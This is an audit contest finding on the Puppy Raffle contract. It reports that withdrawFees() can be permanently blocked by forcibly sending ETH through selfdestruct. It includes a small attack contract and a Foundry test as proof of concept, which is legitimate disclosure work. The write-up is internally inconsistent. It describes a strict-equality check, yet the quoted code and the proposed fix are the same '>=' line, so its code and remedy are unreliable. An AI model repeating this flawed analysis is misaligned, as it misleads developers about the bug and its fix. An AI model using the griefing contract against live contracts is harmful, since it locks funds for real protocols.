First Flight #2: Puppy Raffle
First Flight #2
Beginner FriendlyFoundryNFT
100 EXP
View results
Previous Next
Submission Details
Severity: medium
Valid

Strict equality of puppyRaffe contract balance and and total fees check makes `fee` withdrawal impossible.

0xSimeon

Strict equality of puppyRaffe contract balance and and total fees check makes fee withdrawal impossible.

Summary

The withdrawFees() function sends the fees that has been earned throughout the duration of an active raffle to the feeAddress designated upon deployment of the PuppyRaffle contract. The problem lies in the fact that it checks if the contract balance matches the the amount of fees collected.

Vulnerability Details

Fee withdrawal from the protocol is dependent on the balance of the contract being strictly equal to the total fees collected as denoted here in withdrawFees() below:

function withdrawFees() external {
require(address(this).balance >= uint256(totalFees), "PuppyRaffle: There are currently players active!");
uint256 feesToWithdraw = totalFees;
totalFees = 0;
(bool success,) = feeAddress.call{value: feesToWithdraw}("");
require(success, "PuppyRaffle: Failed to withdraw fees");
}

Proof of Concept

To demonstrate we use a sample smart contract that forcibly sends ETH to the contract using selfdestruct which is currently deprecated in solidity but can still be used in this instance.

Poc

Attack contract:

// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
​
contract AttackPuppyRaffle {
receive() external payable {}
​
function attack(address puppy) external payable {
selfdestruct(payable(puppy));
}
}

Poc test:

function testCannotWithdrawFees() public playersEntered {
// simulate Sets block.timestamp past the raffle duration.
vm.warp(block.timestamp + duration + 1);
​
// setup attacker.
address attacker = makeAddr("attacker");
vm.deal(attacker, 10 ether);
vm.prank(attacker);
​
// fund the attack contract
(bool success,) = address(attackPuppyRaffle).call{value: 1 wei}("");
if (!success) revert();
​
// select a winner via pseudorandomness.
puppyRaffle.selectWinner();
​
// Now let's forcibly send ETH to puppyRaffle contract
attackPuppyRaffle.attack(address(puppyRaffle));
vm.expectRevert();
// Fees cannot be withdrawn.
puppyRaffle.withdrawFees();
console.log(puppyRaffle.feeAddress().balance);
}

Impact

Any call to withdraw the protocol fees will be reverted, as a result fees can never be withdrawn from the protocol.

Tools Used

Manual review and foundry.

Recommendations

The usage of strict equality for that check is not recommended in this instance.

  1. A more flexible check like this would suffice.

    require(address(this).balance >= uint256(totalFees), "PuppyRaffle: There are currently players active!");

  2. Any amount that is left in the contract balance after the winner has been selected and paid should be withdrawn.

This would allow fees to be withdrawn even though the contract balance is forcibly inflated.

Updates

Lead Judging Commences

Hamiltonite Lead Judge about 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

greifers-send-money-to-contract-to-block-withdrawfees

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!